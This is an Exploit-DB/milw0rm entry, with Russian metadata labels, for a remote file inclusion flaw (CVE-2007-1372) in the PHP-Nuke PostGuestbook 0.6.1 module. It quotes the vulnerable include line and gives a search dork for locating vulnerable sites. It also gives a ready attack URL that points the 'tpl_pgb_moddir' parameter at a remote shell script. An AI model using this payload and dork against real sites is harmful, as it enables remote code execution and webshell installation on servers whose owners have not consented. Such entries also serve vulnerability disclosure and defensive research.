Exploit PHP-Nuke Module PostGuestbook 0.6.1 - 'tpl_pgb_moddir' Remote File Inclusion

[Exploiter]

EDB-ID

3423

Проверка EDB

1. Пройдено

Автор

GOLD_M

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2007-1372

Дата публикации

2007-03-07

# PostGuestbook 0.6.1(tpl_pgb_moddir)Remote File Include Expliot
# D.Script: http://sourceforge.net/projects/postguestbook/
# Dork: "Powered by: PostGuestbook 0.6.1"
# Discovered by GloD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Greetz To Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group
# V.Code
# include "$tpl_pgb_moddir/styles/$tpl_style/error.php";
# Exploit:
# [VicTim]/modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir=Shell.php?

# milw0rm.com [2007-03-07]